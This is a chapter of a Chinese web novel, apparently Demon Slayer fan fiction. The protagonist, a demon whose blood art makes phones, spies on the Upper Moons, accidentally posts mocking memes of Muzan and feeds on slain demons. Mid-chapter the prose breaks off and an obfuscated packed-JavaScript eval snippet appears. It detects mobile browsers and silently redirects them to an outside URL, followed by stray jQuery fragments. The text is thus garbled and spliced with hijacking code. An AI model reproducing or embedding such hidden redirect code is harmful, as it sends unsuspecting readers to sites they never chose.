第四章
言衍气笑了。
恨不得立马学会日之呼吸，把无惨砍十八个来回不带转弯的。
但是很快，冷静下来的他陡然意识到，这件事情对他来说并不是一件坏事。
这就要说起他血鬼术第三个略显鸡肋的能力。
他可以感应到自己制造出来的，手机的位置，并且经过变异，他不仅可以将意识附在上面，监控拿手机的人，只要经过充足的能量供养，他甚至可以利用手机转移自己的灵魂。
他原本没把这个能力当回事，只等以后升级后，把这个当成狡兔三窟的脱身手段。
但是现在无惨的行为，直接给他按了无数双眼睛。
言衍闭上眼睛，他的意识中，除了无惨身上的光点，他在这片区域中，又感受其他密密麻麻的众多链接。
那些光点和无惨身上的光点不同，他不如无惨身上，像是一个巨大灯泡一样具有存在感，那是如萤火一般的，小小的，却也可以轻易捕捉到的存在感。
是手机。
那是他属于他的力量。
他还没死，无惨能够使用他的力量，他自然也能使用自己的血鬼术。
他能清晰的感受到那些手机的存在，那些手机就是他的眼睛，只要他愿意建立链接，他就可以感受到手机的主人正在做什么。
言衍心痒难耐，悄悄将意识移到了几个上弦那里。
周围的声音骤然清晰不少。
视野中，堕姬美丽的脸庞直接出现在他面前，距离他极近，她认真地摸索着手机的使用方法，因为对一些小功能的一知半解，纤细的眉头狠狠皱起来。
在无惨面前的乖巧和自身的坏脾气，融合成一种娇纵的清纯感。
不愧是花魁。
言衍又去看玉壶，怪物一样的家伙用小胖手摸着手机，长在眼睛上的两个嘴巴拍着无惨的马屁。
“……大人的血鬼术也是这么新颖……”
辣眼睛，换。
老头哆哆嗦嗦地流眼泪发抖……
依然辣眼睛。
言衍谨慎地没有进入前三弦的手机，他们都是习武之人，感知力超群，他不要敢赌这个可能。
他能力升级后，上弦们杀不死他，但现在他还只是一个转生鬼不到三天的小角色。
不过就算他没有将意识放到童磨那边，童磨的反应也足以夸张到他无法忽视。
他竟然第一个就弄清楚手机如何使用，此时正热情的在手机里和大家打招呼。
“大家好~我是童磨~”
“无惨大人的血鬼术好棒，这样我以后就能经常和大家经常说话了。”
“黄豆大笑.jpg”
他竟然还学会了使用表情包。
言衍：……
随着童磨一个消息一个消息的发出来，所有鬼的手机传来叮咚~叮咚~的提示音。
一个人的手机响起的声音不算什么，在场那么多鬼的手机想起叮咚声音，这个声音顿时形成声浪传来。
无惨神色微冷，危险地看向童磨。
“童磨，你在干什么？”
童磨冲无惨微笑，丝毫不怕，“无惨大人，我在熟悉这个血鬼术，非常好用，无惨大人真是聪明……”
血鞭飞过，童磨的脑袋瞬间从嘴巴那里被切开，咕噜噜地落到远处。
无惨冷哼，童磨说的很好，但是太聒噪了。
没有了童磨打扰，无惨继续接下来的话。
“……你们这群废物，如果这次再找不到蓝色彼岸花，我也不知道你们的生命还有什么继续下去的必要……”
无惨话说到一半，叮咚一声，无惨分发下来的手机再次如浪潮般响起来。
无惨的血鞭再次抽向童磨。
童磨刚长出来的脑袋再次被抽出二里地。
好在这次童磨嘴巴没有被抽烂，脑袋飞起，嘴巴委屈地申诉：“无惨大人，不是我发的。”
无惨皱眉，不是童磨发的，这次又是那个不长眼的鬼在他说话时发信息。
这里鬼太多，读心读到的信息太嘈杂了，他撇了眼手机，到底是哪个不长眼的鬼。
言衍是个宅男，他刚考上大学，根本就没有钉钉一类的专业办公软件，无惨使用的企鹅这样的群，每一个鬼都有对应的编号。
无惨这两天也弄明白了这个细致又复杂的血鬼术，他本以为找到那个鬼是一个轻而易举的事情。
但是低头一看，他的血管差点爆了。
这人发的不是言语，而是一张图片——图片上，他的头接上简笔猫的身体——他的头不断重复地做出愤怒的表情。
图片上方有一行字。
小猫生气。
叮咚——
叮咚——
又有两张图片被顶上来。
相似的图片，有着小猫身体的他更愤怒，呲出牙齿。
小猫哈气。
有着小猫身体的他伸出爪子，挠出三道抓痕。
小猫挠人。
在无惨看手机时，众鬼也在偷偷看是谁那么大胆。
呆滞……呆滞是所有鬼的反应。
所有普通鬼的第一反应是惊恐，鬼王对他们的压迫感是绝对的，他们虽然被无惨赐下了血液，但是无惨是何等自私的人。
如果不是形势所迫，他需要群鬼隐藏他的踪迹，替他寻找蓝色彼岸花，替他对付鬼杀队，他怎么可能把自己的血液分享出来。
他真心的厌恶这些吸收了他血液，却没有给他带来任何好处的普通鬼。
他的血液也仿佛带着主人对他们的情绪，是杀意、是暴虐……在这样的情绪下，众鬼对鬼王的恐惧是实质性的。
而现在，他们中一个不知名的鬼竟然私自发送这样的信息，以如此调侃、甚至是轻蔑的态度面对鬼王的发怒。
不管是谁，他们都觉得这个鬼不要命了。
这也是可以开玩笑的事情吗？
更让他们恐惧是，无惨的怒火会不会迁怒他们。
当然会！
距离无惨近的鬼纷纷被血鞭沿着眼睛抽断了上脑壳。
鲜血迸溅得仿佛是屠宰场。
“啊啊啊——无惨大人，不是我。”
“无惨大人……”有人逃跑，有人跪下求饶，有人捂着掉下一半的脑壳惨叫。
无惨气疯了，更让他生气的是，这个发送信息的人用了匿名。
无惨这才发现，言衍的血鬼术还有这个功能，也就是说，即使他不是群主，是群管理，也没办法第一时间找到发送信息的人。
他的声音极度低沉、恐怖。
“到底是谁发出这种图片？”这完全是在挑衅他。
想到这里，无惨更是戾气横生，身上的阴沉气压几乎肉眼可见，“是我最近太好说话了，给你们可以随便愚弄我的错觉吗？”
血色的鞭子卷起数只鬼的脖子，如尸体般挂在半空，血液顺着他们的脚尖一股一股地往下淌。
“无惨大人……啊啊啊……”在被无惨的血鞭吞噬前，他们挣扎着，依然想诉说自己的冤枉。
堕姬看着眼前这一幕，十分不屑。
她觉得无惨大人还是下手轻了，那个可恶的鬼怎么能这么形容无惨大人，无惨大人明明很威严，令人敬仰。
鸦天狗依然瑟瑟发抖。
玉壶一只眼珠左右旋转，很怀疑这是童磨做的，因为也只有他这么不怕死了。
上弦三猗窝座也对那些图片很不理解，无惨大人生气起来，即便是他也十分紧张，竟然有人用那种图片形容生气的无惨大人。
他面对无惨大人竟然不害怕的吗？
至于上弦二童磨，他被盛怒的无惨切成了一堆碎肉。
虽然不是他发的信息，但是他在恢复身体后，看到消息后脑海中闪过：这样的无惨大人有点可爱。
开启了读心模式的无惨读取到他的想法，瞬间再次被切成了碎块。
喜提三杀。
上弦一没想法。
总之无限城中一片混乱，而作为一切的始作俑者，言衍没敢说话。
但他真不是故意的，一开始陌生鬼没有看到无惨的模样，他没有什么感想，但是透过堕姬手机的视角，他看到了发火的无惨。
随之想到了自己收藏的几组无惨表情包，他只是那么一想，不知道为什么，那些图片就匿名发出去了。
然后就被无惨看到了。
就是被他寄生的宿主，也被切成了好几段。
糟了糟了，该不会以后他想到什么，然后手机就会自动往众鬼的群聊群内发送他想到的内容，那他的那些本子、同人、恶搞短视频……
不不不。
言衍瞬间清空思绪，不要再想了，不能再想了。
再想下去，他估计都没有办法从无限城内活着走出去了。
咔嚓一声，陌生鬼身边的鬼不知道想到什么，被无惨的血鞭卷走挂在了半空中。
被血鞭绞杀的血液洒了言衍一脸。
言衍：幸好，他屏蔽了陌生鬼的思想。
咦，他身体内的能量好像增长了一些。
言衍顿时发现了新大陆，他可以吸收鬼体内的能量，现在每个鬼手中都有他的手机……他立即开始附身那些被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357978|199714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无惨杀死的鬼，疯狂吸食他们血液中的力量。
发了、发了！
-
无惨大闹了一场，他依旧没能找到那个匿名发送信息的鬼，他不能让这件事情被众鬼知道，最后只能找个替死鬼，残忍地众鬼面前处决了他——杀鸡儆猴。
要不是他接下来还要用众鬼实验他新计划的可行性，他真想将这些家伙全杀了。
但是即便如此，他也杀了近三分之一的鬼。
木色地板已经完全被染成了鲜红色，所有鬼都跪在地上瑟瑟发抖，上弦一除外。
最后，他发泄够怒火，将匿名功能去掉，又给众鬼撂下威胁，这才让鸣女将所有鬼都送回了原位置。
吃得饱饱的言衍也跟着松了口气。
吃不下了，真吃不下了。
回到山洞内，陌生鬼依旧在嘀咕自己体内的血鬼术和鬼王大人给予他们的血鬼术怎么那么相似，言衍却顾不得搭理他的疑惑。
言衍感受着身体内充足的力量，从大快朵颐的愉悦中回过神来，他也开始思索那几张表情包。
有关鬼灭的一切都应该被好好封锁起来，却蹊跷地忽然出现在群聊之中。
言衍又想起被陌生鬼点开的音乐。
一切早有预兆吗？
言衍再次催动自己的血鬼术，感受自己在无惨那里的灵魂碎片。
是的，他血鬼术确实可以封闭自己的记忆，可是随着他的死亡，无惨直接把他的能力和灵魂碎片夺走一半，宛如一个完好的袋子，从中间撕开，它就已经有了破口。
既然有了破口，里面的东西就终有一天会全部漏出来。
今天的几个表情包绝对不是个例。
随着时间，那些动画、视频、图片、小说……
陌生鬼一手拿着手机，一手看着光屏，又开始戳他。
言衍不耐烦闪了闪光屏，提示他能量不足，继续思索记忆泄露的事情。
如果记忆持续泄露，为了稳固自己在众鬼之中的恐惧统治权，他绝对会收回手机，甚至是会毁掉手机。
但与无惨不同，手机在众鬼手中，对无惨来说不过是好一点差点的区别，但是对他来说差别就大了。
那些手机是他的眼线，在关键时刻，他可以通过手机吸收众鬼的生命力，他的能力升级后，他更可以通过手机，转移自己的灵魂。
这些都是他的储备粮啊。
所以他必须在无惨暴怒之前，让无惨意识到手机的重要性……
不对啊，他不是有寄生能力吗？
只要挨个给所有鬼都寄生一遍，无惨想要拿走鬼的手机，就必须把全部的鬼都杀死。
唔，要是无惨为了维护自己的形象，真把所有鬼都杀了，他可以大吃特吃一顿，增长实力的同时，还能为鬼杀队减轻工作量。
他担心什么？
是啊，言衍忽然悟了。
而且记忆泄露又如何，无惨老板生气，他开心。
言衍眼珠一转，坏主意冒上心头。
屑老板单纯的生气、愤怒又怎么能让他开心呢。
他要让屑老板恐惧、涌起希望，又陷入深深的绝望，让他求生不能，求死……好吧，屑老板不会求死。
言衍轻笑起来。
既然如此，他就主动放出一些记忆，钓住屑老板吧。
言衍规划好接下来的行动路线，回过神来，发现陌生鬼正在急速的赶路当中。
言衍能感受到，陌生鬼心脏砰砰狂跳，满是对血肉的渴望。
嗯？他要猎食？
也是，这个陌生鬼之前被他吸食了能量，后来又被无惨砍了好几段，为了恢复身体，早就饿了。
此时天黑了，他走出山洞猎食再正常不过了。
忽然，陌生鬼的脚步一顿，跟随陌生鬼的五感，他知道陌生鬼停下的原因，在山林道路的右边，有一缕淡淡的香味传来。
陌生鬼藏在暗处，如谨慎狩猎的猎手，他悄悄地移过去，拨开树叶。
透过树叶的缝隙，言衍也跟着他看到了他看中的猎物。
一对羸弱的兄妹。
他们还不知道暗处的危险，温和敦厚的哥哥正牵着哭鼻子的妹妹，一步一步向山下走去。
“……好了好了，哥哥没办法抱你，世花再坚持一会，我们马上就快要到家了。”
他们背着柴，是山中再贫苦不过的普通兄妹。
怎么办，要阻止他吗？
即使他开启屏蔽能力，鬼死亡时也极有可能会将死亡时的记忆传给鬼舞辻无惨，他的能力还没有升级，无法转移灵魂，他要赌这个可能性吗？